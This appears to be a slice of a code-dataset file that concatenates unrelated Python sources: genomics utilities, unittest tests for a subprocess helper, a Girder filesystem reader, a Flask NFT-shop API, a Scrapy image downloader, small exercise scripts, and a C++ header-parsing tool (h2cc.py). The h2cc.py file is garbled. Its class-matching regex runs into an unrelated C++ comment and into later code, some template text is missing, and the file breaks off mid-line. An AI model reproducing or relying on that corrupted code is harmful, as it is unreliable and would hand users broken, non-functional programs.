-> pandas.DataFrame:\n\n    \"\"\" Return a dataframe from the `genome.size` file in `pathfinder.resources`\n\n    Genome sizes are computed as media genome size for given taxonomic\n    identifier from the NCBI Prokaryot DB.\n\n    :return Dataframe with one column size and row index taxid\n\n    \"\"\"\n\n    genome_sizes = Path(__file__).parent / \"resources\" / \"genome.sizes\"\n    genome_sizes = pandas.read_csv(genome_sizes, index_col=0)\n\n    return genome_sizes\n\n\n# Alignment support functions\n\ndef remove_sample(alignment: Path, outfile: Path, remove: str or list) -> None:\n\n    \"\"\" Remove any sequence from the alignment file by sequence names\n\n    :param alignment: alignment file (.fasta)\n    :param outfile: output file (.fasta)\n    :param remove: sequence identifiers to remove\n\n    :return:  None, outputs alignment file with sequences removed\n\n    \"\"\"\n\n    if isinstance(remove, str):\n        remove = [remove]\n\n    with pysam.FastxFile(alignment) as fin, outfile.open('w') as fout:\n            for entry in fin:\n                if entry.name not in remove:\n                    fout.write(str(entry) + '\\n')\n\n\n# Phylogenetics support functions\n\ndef get_tree_dates(newick_file: Path) -> pandas.DataFrame:\n\n    \"\"\" Get the leaf names and dates from the input tree\n\n    :param newick_file: tree file in newick format\n\n    :returns `pandas.DataFrame` with two columns: name, date\n\n    \"\"\"\n\n    tree = dendropy.Tree.get(path=newick_file, schema=\"newick\")\n\n    return pandas.DataFrame(\n        data=[taxon.label.split() for taxon in tree.taxon_namespace],\n        columns=['name', 'date']\n    )\n\n\n# Phybeast support functions\n\n\n\ndef phybeast_randomise_date_file(\n    date_file: Path,\n    output_file: Path = None\n) -> pandas.DataFrame:\n\n    \"\"\" Randomise order of dates in file\n\n    DataFrame input options can be passed as **kwargs\n\n    :param date_file: path to date file with columns: name and date\n    :param output_file: path to tab-delimited output file for randomised dates\n\n    :returns DataFrame with shuffled dates\n\n    :raises ValueError if date and name not in column headers\n\n    \"\"\"\n\n    df = pandas.read_csv(date_file, sep='\\t')\n\n    if 'date' not in df.columns or 'name' not in df.columns:\n        raise ValueError('Could not find date and name in columns')\n\n    # Suppress warning\n    with pandas.option_context('mode.chained_assignment', None):\n        dates = df.date\n        shuffle(dates)\n        df.date = dates\n\n    if output_file is not None:\n        df.to_csv(output_file, sep='\\t', header=True, index=False)\n\n    return df\n\n\ndef phybeast_prepare_metadata_file(\n    meta_file: Path,\n    prep: str = 'lsd2',\n    output_file: Path = Path.cwd() / 'lsd2.meta'\n) -> None:\n\n    \"\"\" Prepare the tab-delimited input file for pf-phybeast\n\n    :param meta_file: tab-delimited meta data file with columns: name, date\n    :param prep: output file type to prepare for: lsd2, treetime\n    :param output_file: output file path\n\n    :returns None, writes to file :param out_file\n\n    \"\"\"\n\n    df = pandas.read_csv(meta_file, sep='\\t')\n\n    if 'date' not in df.columns or 'name' not in df.columns:\n        raise ValueError('Could not find date and name in columns')\n\n    if prep == 'treetime':\n        df.to_csv(output_file, header=True, sep=',', index=False)\n\n    if prep == 'lsd2':\n        with output_file.open('w') as outfile:\n            outfile.write(\n                f'{len(df)}\\n'\n            )\n\n            # TODO: document no spaces in unique ids\n            df[['name', 'date']].to_csv(\n                outfile, header=False, sep=' ', index=False\n            )\n\n\ndef phybeast_extract_rate(\n    result_file: Path,\n    prep: str = 'lsd2',\n    output_file: Path = Path.cwd() / 'rate.txt'\n) -> None:\n\n    \"\"\" Prepare the tab-delimited input file for pf-phybeast\n\n    :param result_file: path to summary output file from: lsd2 or treetime\n    :param prep: output file type to prepare for: lsd2 or treetime\n    :param output_file: Output file path\n\n    :returns None, writes to file :param output_file\n\n    \"\"\"\n\n    if prep == 'lsd2':\n\n        with result_file.open('r') as infile, output_file.open('w') as outfile:\n            for line in infile:\n                if line.strip().startswith('rate'):\n                    rate = float(\n                        line.strip().split()[1].strip(',')\n                    )\n                    tmrca = float(\n                        line.strip().split()[3].strip(',')\n                    )\n                    print(rate, tmrca)\n                    outfile.write(f\"{rate}\\t{tmrca}\\n\")\n\n\ndef phybeast_plot_date_randomisation(\n    replicate_file: Path,\n    rate_file: Path,\n    output_file: Path = Path(\"date_randomisation.png\"),\n    regression_file: Path = None\n) -> None:\n\n    \"\"\" Plot distribution of date randomised substitution rates\n\n    :param replicate_file: `rates.tab` with replicates from `DateRandomisationPlot`\n    :param rate_file: `rate.txt` containing true rate from `MolecularClock`\n    :param output_file: output plot file, format by extension\n    :param regression_file: `rtt.csv` file from TimeTree clock regression\n\n    :returns None, writes to file :param output_file\n\n    \"\"\"\n\n    # one panel:\n    if regression_file is None:\n        fig, ax1 = plt.subplots(figsize=(27.0, 9))\n        ax2 = None\n    else:\n        fig, axes = plt.subplots(ncols=2, figsize=(27.0, 9))\n        ax2, ax1 = axes.flatten()  # observe order\n\n    # Date Randomisation\n\n    replicate_df = pandas.read_csv(\n        replicate_file, sep='\\t', names=['replicate', 'tmrca']\n    )\n\n    replicates = replicate_df.replicate.tolist()\n\n    rate_df = pandas.read_csv(\n         rate_file, sep='\\t', names=['rate', 'tmrca']\n    )\n\n    rate = float(rate_df.iloc[0, 0])\n\n    plot_date_randomisation(\n        ax=ax1, replicates=replicates, rate=rate\n    )\n\n    # Regression plot\n    if regression_file is not None:\n        # Regression file from TimeTree\n        data = pandas.read_csv(\n            regression_file, skiprows=2, header=None,\n            names=['name', 'date', 'distance']\n        )\n        plot_regression(\n            ax=ax2, regression_data=data.iloc[:, 1:]\n        )\n\n    fig.savefig(output_file)\n\n\n\n\n","sub_path":"pathfinder/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"212189402","text":"from .dpipe import subprocesses, Dummy\nimport unittest\n\n####### subprocesses tests\n\n\nclass SanityCheck(unittest.TestCase):\n\n    dummy = Dummy()\n    template = ['echo', dummy]\n\n    def test_fail_template(self):\n        '''sanity check should fail with non-list template'''\n        template = ('echo', self.dummy)\n        iterable = ['hello', 'world!']\n        with self.assertRaises(TypeError):\n            s = subprocesses(template, iterable, run=False)\n\n    def test_fail_iterable_types(self):\n        '''sanity check should fail if iterable is not all strings or all lists'''\n        iterable = ['hello', ('world',)]\n        with self.assertRaises(TypeError):\n            s = subprocesses(self.template, iterable, run=False)\n\n    def test_fail_iterable_length(self):\n        '''sanity check should fail if items in iterable not uniform in length'''\n        iterable = [('how', 'are'), ('you?',)]\n        with self.assertRaises(AssertionError):\n            s = subprocesses(self.template, iterable, run=False)\n\n    def test_fail_dummy_count(self):\n        '''should fail if iterable item length does not match number of dummy values'''\n        iterable = [('a', 'b', 'c'), ('d', 'e', 'f')]\n        template = ['echo', self.dummy, 'something', self.dummy, self.dummy, self.dummy]\n        with self.assertRaises(AssertionError):\n            s = subprocesses(template, iterable, run=False)\n\n\nclass CommandsCheck(unittest.TestCase):\n\n    dummy = Dummy()\n\n    def test_good_string(self):\n        '''should pass with known string inputs'''\n        knowninputs = (['echo', self.dummy], ['hello', 'world!', 'goodbye', 'now'])\n        knownoutput = [\n                            ['echo', 'hello'],\n                            ['echo', 'world!'],\n                            ['echo', 'goodbye'],\n                            ['echo', 'now']\n                        ]\n        output = subprocesses(*knowninputs, run=False)._get_commands()\n        self.assertEqual(knownoutput, output)\n\n    def test_good_tuple(self):\n        '''should pass with known tuple inputs'''\n        knowninputs = (['hey', self.dummy, 'name', self.dummy, self.dummy],\n                       [('my', 'is', 'drew'),\n                        ('joels', 'aint', 'drew'),\n                        ('johns', 'isgottabe', 'johnny')])\n        knownoutput = [\n                            ['hey', 'my', 'name', 'is', 'drew'],\n                            ['hey', 'joels', 'name', 'aint', 'drew'],\n                            ['hey', 'johns', 'name', 'isgottabe', 'johnny'],\n                        ]\n        output = subprocesses(*knowninputs, run=False)._get_commands()\n        self.assertEqual(knownoutput, output)\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"test_dpipe.py","file_name":"test_dpipe.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"163724215","text":"import os\nimport tempfile\n\nimport requests\n\nfrom .core import GirderFS\nfrom .utils import _lstrip_path, logger\n\n\nclass RESTGirderFS(GirderFS):\n    \"\"\"\n    Filesystem for locally mounting a remote Girder folder\n\n    :param folder_id: Folder id\n    :type folder_id: str\n    :param gc: Authenticated instance of GirderClient\n    :type gc: girder_client.GriderClient\n    \"\"\"\n\n    def read(self, path, size, offset, fh):\n        logger.debug(\"-> read({})\".format(path))\n        obj, _ = self._get_object_from_root(_lstrip_path(path))\n        cacheKey = \"#\".join((obj[\"_id\"], obj.get(\"updated\", obj[\"created\"])))\n        fp = self.cache.get(cacheKey, read=True)\n        if fp:\n            logger.debug(\"-> hitting cache {} {} {}\".format(path, size, offset))\n            fp.seek(offset)\n            return fp.read(size)\n        else:\n            logger.debug(\"-> downloading\")\n            req = requests.get(\n                \"%sitem/%s/download\" % (self.girder_cli.urlBase, obj[\"_id\"]),\n                headers={\"Girder-Token\": self.girder_cli.token},\n                stream=True,\n            )\n            with tempfile.NamedTemporaryFile(prefix=\"wtdm\", delete=False) as tmp:\n                for chunk in req.iter_content(chunk_size=65536):\n                    tmp.write(chunk)\n            with open(tmp.name, \"rb\") as fp:\n                self.cache.set(cacheKey, fp, read=True)\n                os.remove(tmp.name)\n                fp.seek(offset)\n                return fp.read(size)\n\n    def open(self, path, mode=\"r\", **kwargs):\n        logger.debug(\"-> open({}, {})\".format(path, self.fd))\n        self.fd += 1\n        return self.fd\n\n    def destroy(self, private_data):\n        super().destroy(self, private_data)\n\n    def release(self, path, fh):  # pylint: disable=unused-argument\n        logger.debug(\"-> release({}, {})\".format(path, self.fd))\n        self.fd -= 1\n        return self.fd\n","sub_path":"girderfs/rest.py","file_name":"rest.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"524159835","text":"import base64\nimport time\nimport hashlib\nimport json\nfrom flask import Flask, request, send_file\nfrom werkzeug.utils import secure_filename\nfrom pprint import pprint\n\nfrom fantopia import Fantopia\n# from fantopia_offline import Fantopia\n\nimport sys\nsys.path.append('../../caller/')\nfrom NFT import NFT\nfrom ST import ServiceToken\nfrom utils import get_transaction_info\n\n\napp = Flask('app')\n\n\n@app.route('/adduser', methods=['POST'])\ndef adduser():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    fantopia.add_user(params)\n\n    return 'Success'\n\n\n@app.route('/addartist', methods=['POST'])\ndef addartist():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    fantopia.add_artist(params)\n\n    return 'Success'\n\n\n# depricated\n# @app.route('/uploadimage', methods=['POST', 'PUT'])\n# def uploadimage():\n#     _who = request.form['who']\n#     _name = request.form['name']\n#     _file = request.files['file']\n#     _amount = 1 if 'amount' not in request.form else int(request.form['amount'])\n#     _price = None if 'price' not in request.form else int(request.form['price'])\n\n#     res = fantopia.upload_image(\n#         who=_who,\n#         name=_name,\n#         image_bytes=_file.read(),\n#         # description=_description\n#         amount=_amount,\n#         price=_price\n#     )\n#     pprint(res)\n\n#     return json.dumps(res) or 'Success'\n\n\n# # depricated\n# @app.route('/uploadproduct', methods=['POST'])\n# def uploadproduct():\n#     params = json.loads(request.get_data(), encoding='utf-8')\n#     if len(params) == 0:\n#         return 'No parameter'\n\n#     fantopia.upload_product(\n#         name=params['name'],\n#         nft_number=params['nft_number'],\n#         nft_name=params['nft_name'],\n#     )\n\n#     return 'Success'\n\n\n@app.route('/getimage', methods=['POST'])\ndef getimage():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    pk = params['pk']\n\n    res = fantopia.getImage(pk)\n\n    return json.dumps(res)\n\n\n@app.route('/getallimages', methods=['POST'])\ndef getdetail():\n    params = {}\n    try:\n        params = json.loads(request.get_data(), encoding='utf-8')\n    except:\n        pass\n\n    startNum = params['startNum'] if 'startNum' in params else 0\n    endNum = params['endNum'] if 'endNum' in params else 100\n\n    res = fantopia.getAllImages(startNum=startNum, endNum=endNum)\n\n    return json.dumps(res)\n\n\n@app.route('/updatefavorite', methods=['POST'])\ndef updatefavorite():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    pk = params['pk']\n    favor = params['favor'] if 'favor' in params else True\n\n    fantopia.updateFavorite(pk, favor)\n\n    return 'Success'\n\n\n@app.route('/sellreset', methods=['POST'])\ndef sellreset():\n    params = {}\n    try:\n        params = json.loads(request.get_data(), encoding='utf-8')\n    except:\n        pass\n\n    startNum = params['startNum'] if 'startNum' in params else 0\n    endNum = params['endNum'] if 'endNum' in params else 100\n\n    res = fantopia.sellReset(startNum=startNum, endNum=endNum)\n\n    return 'Success'\n\n\n@app.route('/buyimage', methods=['POST'])\ndef buyimage():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    tokenIndex = params['tokenIndex'] if 'tokenIndex' in params else None\n    price = params['price'] if 'price' in params else None\n\n    res = fantopia.buy(\n        pk=params['pk'],\n        fromAddress=params['fromAddress'],\n        toAddress=params['toAddress'],\n        tokenIndex=tokenIndex,\n        price=price,\n    )\n    pprint(res)\n\n    return json.dumps(res) or 'Success'\n\n\n@app.route('/buygoods', methods=['POST'])\ndef buygoods():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    fantopia.buyGoods(pk=params['pk'])\n\n    return 'Success'\n\n\n@app.route('/gettx', methods=['POST'])\ndef gettx():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    res = get_transaction_info(\n        server_url=fantopia.config['server_url'],\n        service_api_key=fantopia.config['service_api_key'],\n        service_api_secret=fantopia.config['service_api_secret'],\n        txHash=params['txHash']\n    )\n    pprint(res)\n\n    return json.dumps(res) or 'Success'\n\n\n@app.route('/getinfo', methods=['POST'])\ndef getinfo():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    res = fantopia.nft.get_info(number=params['tokenIndex'])['responseData']['meta']\n    pprint(res)\n\n    return json.dumps(res) or 'Success'\n\n\n@app.route('/getbalance', methods=['POST'])\ndef getbalance():\n    params = json.loads(request.get_data(), encoding='utf-8')\n    if len(params) == 0:\n        return 'No parameter'\n\n    address = params['address']\n    reses = fantopia.st.holders()['responseData']\n    for res in reses:\n        if res['address'] == address:\n            pprint(res['amount'])\n            return json.dumps(res['amount']) or 'Success'\n\n    return json.dumps(\"\")\n\n\n# @app.route('/test', methods=['GET'])\n# def test():\n#     ress = []\n\n#     # Load info.\n#     with open('./users.json') as f:\n#         users = json.load(f)\n\n#     owner = users['Owner']\n#     artist = users['Artist']\n#     user_A = users['Customer_A']\n#     user_B = users['Customer_B']\n\n#     with open('./config.json') as f:\n#         config = json.load(f)\n\n#     # Add artist\n#     fantopia.add_artist(artist)\n\n#     # Add user\n#     fantopia.add_user(user_A)\n#     fantopia.add_user(user_B)\n\n#     # Buy image\n#     res = fantopia.buy(\n#         fromAddress=user_B['address'],\n#         toAddress=user_A['address'],\n#         tokenIndex='00000085',\n#         price='10000'\n#     )\n#     pprint(res)\n#     ress.append(res)\n\n#     res = get_transaction_info(\n#         server_url=config['server_url'],\n#         service_api_key=config['service_api_key'],\n#         service_api_secret=config['service_api_secret'],\n#         txHash=\"DCD0B2D32E9329D77AA642A55DC10469A876767493D2F60254A70E4DCD099202\"\n#     )\n#     pprint(res)\n#     ress.append(res)\n\n#     return json.dumps(ress) or 'Success'\n\n\nif __name__ == \"__main__\":\n    # Load info.\n    with open('./users.json') as f:\n        users = json.load(f)\n\n    owner = users['Owner']\n\n    with open('./config.json') as f:\n        config = json.load(f)\n\n    # Set Fantopia service\n    fantopia = Fantopia(owner, config)\n\n    app.run(host='0.0.0.0', debug=False)\n","sub_path":"example/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"608752635","text":"# -*- coding: utf-8 -*-\nimport os\nimport scrapy\nimport requests\n\nclass ImglySpider(scrapy.Spider):\n    name = \"imgly\"\n    allowed_domains = [\"img.ly/images\"]\n    start_urls = ['http://img.ly/images/']\n\n    def start_requests(self):\n        screen_name = getattr(self, 'screen_name', None)\n        if screen_name is not None:\n            img_dir = 'img_' + screen_name\n            if not os.path.exists(img_dir):\n                os.makedirs(img_dir)\n            \n            url = self.start_urls[0] + screen_name\n            yield scrapy.Request(url, callback=self.parse, dont_filter=True, meta=dict(img_dir=img_dir))\n\n    def parse(self, response):\n        for url in response.css('#image-list-detailed a::attr(href)').extract():\n            url = response.urljoin(url)\n            yield scrapy.Request(url, callback=self.parse_detail_page, dont_filter=True, meta=response.meta)\n\n        next_page = response.css('a.next_page::attr(href)').extract_first()\n        if next_page is not None:\n            next_page = response.urljoin(next_page)\n            yield scrapy.Request(next_page, callback=self.parse, dont_filter=True, meta=response.meta)\n\n    def parse_detail_page(self, response):\n        img_url = response.css('img#the-image::attr(src)').extract_first() \\\n                  .replace('large_', 'original_')\n        description = response.css('p#image-description::text').extract_first().strip()\n        \n        filepath = self.download_image(response.meta['img_dir'], img_url, description)\n        \n        yield {\n            'img_url': img_url,\n            'description': description,\n            'filepath': filepath,\n        }\n\n    def download_image(self, img_dir, img_url, description):\n        filename = description + os.path.splitext(img_url)[1]\n        filepath = os.path.join(img_dir, filename)\n        if not os.path.exists(filepath):\n            r = requests.get(img_url)\n            with open(filepath, 'wb') as f:\n                f.write(r.content)\n        return filepath","sub_path":"imgly_downloader/spiders/imgly.py","file_name":"imgly.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"61098185","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2017/6/16 下午4:27\n# @Author  : Huang HUi\n# @Site    : \n# @File    : Same Tree.py\n# @Software: PyCharm\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\nclass Solution(object):\n    def isSameTree(self, p, q):\n        \"\"\"\n        :type p: TreeNode\n        :type q: TreeNode\n        :rtype: bool\n        \"\"\"\n        if not p and not q:\n            return True\n        elif not p or not q:\n            return False\n        elif p.val !=q.val :\n            return False\n        else:\n            return self.isSameTree(p.left,q.left) and self.isSameTree(p.right,q.right)\n\nif __name__ == '__main__':\n\n\n\n    Solution().isSameTree()\n","sub_path":"Same Tree.py","file_name":"Same Tree.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"22359365","text":"cont = True\nwhile cont:\n    i = input('\\nInput the measurements of the three sides of the triangle in any order with a \",\" betewen each value:\\n')\n\n    tri_sides = [int(x) for x in i.split(',')]\n    c = max(tri_sides)\n    tri_sides.remove(max(tri_sides))\n    a = tri_sides.pop()\n    b = tri_sides.pop()\n\n    if (a**2 + b**2) == (c**2):\n        print('-\\n{}, {}, and {} creates a Pythagorean triple!\\n-\\n'.format(a,b,c))\n    else:\n        print('-\\n{}, {}, and {} is not a Pythagorean triple!\\n-\\n'.format(a,b,c))\n    \n    i = input('Try again?\\nType \"y\" or \"n\"\\n\\n')\n    if i.lower() == 'n':\n        cont = False","sub_path":"pythagorean-triples.py","file_name":"pythagorean-triples.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"}
+{"seq_id":"3226872","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#file    h2cc.py\n#author  pku_goldenlock@qq.com\n#date    20150625\n\n#.h convert to interface only.h\n\n\nimport sys,re,getopt,os\n\ndef usage():\n    \"\"\" \n        Run the program like this\n        \n        ./h2cc.py abc.h ok.cc\n        It will read abc.h and append the fuctions \n        to be implemented to ok.cc\n        \n        or \n           ./h2cc.py abc.h         #will create abc.cc\n           ./h2cc.py abc.h cpp     #will create abc.cpp\n        \"\"\"\n\n\npattern_comment = re.compile(r'^\\s*//')\n#传入一个打开的文件(我们要生成的或者已经存在要分析处理)的handle,如abc.cc\n#调用该函数者负责关闭该文件,该函数只负责处理\nstack_class = []                #----存储class name\nstack_namespace = []\n\nabstract_classes = set()\nabstract_class_out = open('abstract_class.txt', 'a')\n\ninput_file = ''\n\n\n#       value_type& Value(index_type index) ----------- line\n#       {  -------------------------------here and below as content\n#           return values[index];\n#      }\ndef pyplusplus_hack(line, content):\n    global abstract_class_out\n    global abstract_classes\n    global stack_class\n    global input_file\n\n    #@FIXME hack Float _min = std::numeric_limits::max(); \n    if line.find('=') > 0 and line.rstrip().endswith('()') and line.find('operator') == -1 and not line.startswith('virtual'):\n        l = line.split()\n        if len(l) > 2 and l[2] == '=':\n            return line.rstrip() + ';\\n'\n\n    vec_ref_pattern = re.compile(r'return.+?\\[.+?\\];')   \n    lines = line.split('\\n')\n    need_comment = False\n    return_nonconst_ref = False\n    for i in range(len(lines)):\n        lines[i] = lines[i].replace('override', '')\n        lines[i] = lines[i].replace('= default', '').replace('=default', '')\n        line = lines[i].strip().replace('inline', '').strip()\n        l = line.split()\n        #non const static ref\n        if len(l) > 1 and l[0] == 'static' and (l[1].endswith('&') or l[1].endswith('*')):\n            need_comment = True\n            break\n        #rvalue\n        if line.find('&&') >= 0:\n            need_comment = True \n            break \n\n        if line.find('ostream') >= 0 or line.find('fstream') >= 0 or line.find('ofstream') >= 0:\n            need_comment = True\n            break\n\n        #real virtual\n        if line.replace(' ','').endswith(')=0'):\n            full_class_name = '::'.join(stack_namespace) + '::' + '::'.join(stack_class) \n            if not full_class_name in abstract_classes:\n                abstract_class_out.write(\"%s\\t%s\\n\"%(full_class_name, input_file))\n                abstract_classes.add(full_class_name)\n            need_comment = True\n            break \n        #return iterator\n        if len(l) > 1 and (l[1] == 'begin()' or l[1] == 'end()' or l[1] == 'cbegin()' or l[1] == 'cend()'):\n            need_comment = True\n            break \n        if len(l) > 1 and (l[0].endswith('&') or l[0].endswith('*')):\n            return_nonconst_ref = True\n    if return_nonconst_ref:\n        contents = content.split('\\n')\n        i = len(contents) -1\n        find = False\n        while i >= 0:\n            #确保最后一个return是正确书写的没有干扰\n            if vec_ref_pattern.search(contents[i]):\n                find = True\n                break\n            i -= 1\n        if find:\n            need_comment = True\n    if need_comment:\n        lines = ['//' + line for line in lines if line != '']\n    for i in range(len(lines) - 2):\n        lines[i] = lines[i] + '//func'\n    return '\\n'.join(lines).strip() + ';//func\\n'\n\n\ndef count_pair(line, pl, pr, nl, nr):\n    pos = -1\n    i = 0\n    for item in line:\n        if item == pl:\n            nl += 1\n        elif item == pr:\n            nr += 1\n            if nl == nr and pos == -1:\n                pos = i\n        i += 1\n    return nl,nr,pos\n\ndef count_bracket(line, nl, nr):\n    return count_pair(line, '(', ')', nl, nr)\n\ndef count_pair_reverse(line, pl, pr, nl, nr):\n    pos = -1\n    i = len(line) - 1\n    while i >= 0:\n        item = line[i]\n        if item == pl:\n            nl += 1\n        elif item == pr:\n            nr += 1\n            if nl == nr and pos == -1:\n                pos = i\n        i -= 1\n    return nl,nr,pos\n\n\n\n\n#基本实现就是按照栈处理名称,区分是否class域的函数,忽略.h中已经实现函数{}内部的内容\n#@TODO 类构造函数特殊处理 结果按照函数处理 去掉所有实现和赋值\n#另外有些复杂写法的第三方库会运行脚本失败 @FIXME   不过对于python封装目前整体是work的\n#构造函数 当前如果没有: 也会正确按照函数处理, 注意如果 Abc(int x ): x(3)这种会处理失败 要求:必须换行写\n#特殊处理构造函数吧\n#不处理{与函数名同行的情况,可以预处理脚本先处理\ndef h2interface(input_file, output_file = ''):\n    \"\"\"\n        kernal function given a .h file\n        convert to a .cc one with\n        all the functions properly listed\n        \"\"\"\n    global pattern_comment\n\n    global abstract_class_out\n    global abstract_classes\n\n    #----核心的函数匹配模式,不包括类构造函数\n    pattern = re.compile(r\"\"\"(^[\\s]*)             #leading withe space,we will find and delete after\n    \t\t                 ([a-zA-Z~_]            # void int likely the first caracter v or i...\n    \t\t\t\t\t\t.* \n    \t\t\t\t\t\t[)]                   #we find )\n    \t\t\t\t\t\t#(?!\\s*=\\s*0)          #if we find = 0  which means pur virtual we will not match after\n                            #(?=\\s*=\\s*0) \n    \t\t\t\t\t\t(?!.*{)              # we do not want the case int abc() const { return 1;}\n                            .*)\n    \t\t\t\t\t\t(;.*)                 #we want to find ; and after for we will replace these later\n    \t\t\t\t\t\t\\n$\n    \t\t\t\t\t\t\"\"\",re.VERBOSE | re.MULTILINE | re.DOTALL)\n    \n    #----处理virtual,explicit,friend,static \n    pattern2 = re.compile(r'(virtual\\s+|explicit\\s+|friend\\s+|static\\s+)')   \n    \n    #我们默认函数都会有 如 abc(  abc ( 这样的模式存在\n    #但是operator 是个例外,类名要加在operaotr前面,而且不存在上面的模式\n    #operator = ()     ClassName::operator = ()\n    #pattern_func_name = re.compile(r'([a-zA-Z0-9~_\\-]+\\s*[(]|operator.*[(])')   \n    #难道替换不是仅仅替换括号里面的 而是全部替换? 恩,大括号 必须的 然后用\\1没有\\0 \n    pattern_func_name = re.compile(r'([a-zA-Z0-9~_\\-]+\\s*|operator.*)[(]') \n\n    pattern_template = re.compile('^\\s*template')\n    #pattern_template_end = re.compile('^\\s*>\\s*$') #TODO why wrong?\n    pattern_template_end = re.compile('>\\s*$')\n\n    pattern_namespace = re.compile(r'namespace\\s+([a-zA-Z0-9~_\\-]+)\\s*{')       #判断该行是否是 namespace出现 \n    #p2 = re.compile(r'class\\s*(.*?)\\s*{|struct\\s*(.*?)\\s*{')  \n    #.*? 最小匹配  是否class出现,并记录class 名称\n    #pattern_class = re.compile(r'^[\\s]*(class|struct)\\s+([a-zA-Z0-9_\\-]+\n    # class gebp_traits;\n    # /** \\internal \\returns b if a<=0, and returns a otherwise. */\n    # inline std::ptrdiff_t manage_caching_sizes_helper(std::ptrdiff_t a, std::ptrdiff_t b)\n    # {\n    #   return a<=0 ? b : a;\n    # }\n    pattern_class = re.compile(r'^[\\s]*(class|struct|interface)\\s+([a-zA-Z0-9_\\-]+ 0 and stack[-1] == 'class_now'):\n                pattern_typedef = re.compile(r'typedef\\s+.*\\s+(.*);')\n                match_typedef =  pattern_typedef.search(line)\n                if match_typedef:\n                    stack_typedef.append(match_typedef.group(1))\n            #----------------------------------------------------判断并处理模板情况\n            match_template = pattern_template.search(line)\n            template_string = ''\n            if match_template:\n                template_string = line\n                find1, find2, pos= count_pair(line, '<', '>', 0, 0)\n                while(not find1):\n                    #f2.write(m[i])\n                    i += 1\n                    line = m[i]\n                    template_string += line \n                    find1, find2, pos = count_pair(m[i], '<', '>', find1, find2)\n                while (pos == -1):\n                    #f2.write(m[i])\n                    i += 1\n                    line = m[i]\n                    template_string += line\n                    find1, find2, pos = count_pair(m[i], '<', '>', find1, find2)\n                #f2.write(m[i])\n                i += 1\n                line = m[i]\n            #--------------------------------------------判断是否是class 或者遇到 { start\n            match_class = pattern_class.search(line)  \n            match_start = pattern_start.search(line)\n            sentence_ends =  line.rstrip().endswith(';')\n            if match_class:                  #we face a class \n                if template_string != '':\n                    f2.write(template_string)\n                    template_string = ''\n                if not sentence_ends:\n                    stack_template.append(template_string)\n                    stack.append('class_now')\n                    class_name = match_class.group(2)   #TODO f2.group(1)如果为空则异常\n                    #-----------模板类特化或者偏特化的情况 如 class A > 为了获得整个名称\n                    if '<' in class_name:               \n                        k = line.index('<')\n                        fit = 1;\n                        for l in range(k+1, len(line)):\n                            if line[l] == '<':\n                                fit += 1\n                            if line[l] == '>':\n                                fit -= 1\n                            if (fit == 0):\n                                break\n                        class_name += line[k+1:l+1]\n                    stack_class.append(class_name)\n                    while not match_start:\n                        f2.write(m[i])\n                        i += 1\n                        line = m[i]\n                        match_start = pattern_start.search(line)\n\n                    if match_class.group(1) == 'interface':\n                        full_class_name = '::'.join(stack_namespace) + '::' + '::'.join(stack_class) \n                        if not full_class_name in abstract_classes:\n                            abstract_class_out.write(\"%s\\t%s\\n\"%(full_class_name, input_file))\n                            abstract_classes.add(full_class_name)\n                    f2.write(m[i])\n                    i += 1\n                    continue\n\n            #-------------------------------------------------判断是否是结束符号 }\n            match_end = pattern_end.search(line)\n            if match_start:\n                stack.append('normal_now')\n            if match_end:\n                #print '$$$', line, len(stack)\n                top_status = stack.pop()\n                if top_status == 'namespace_now':\n                    namespace_num -= 1\n                    stack_namespace.pop()\n                elif top_status == 'class_now':\n                    stack_class.pop()\n                    stack_template.pop()\n                    stack_typedef = []\n            if match_start or match_end:\n                f2.write(m[i])   #already done in if match_end\n                i += 1\n                continue\n            #注意我判断是函数只是根据 我看到该行有) 然后 后面有;  important!!\n            #------------------------------------------------就像忽略注释一样忽略normal_now状态下的行,因为那是在{}中间的实现\n            if len(stack) >0 and stack[-1] == 'normal_now': \n                f2.write(m[i])\n                i += 1\n                continue\n            #---------------------------------------------------------下面我们该处理需要生成实体框架的函数了,\n            #deal with\n            #int abc(int a,\n            # \t\t int b)    #能够处理这种(与)不在同一行的情况\n            find1 = line.find('(') >= 0\n            if not find1:\n                f2.write(m[i])\n                i += 1\n                continue\n            start_i = i\n \n            find1, find2, pos = count_bracket(line, 0, 0)\n            while (pos == -1):\n                i += 1\n                line2 = m[i].lstrip()\n                line += line2\n                find1, find2, pos = count_bracket(m[i], find1, find2)\n\n            is_constructor = False\n            if len(stack_class) > 0 and len(stack) > 0 and stack[-1] == 'class_now':\n                class_name = 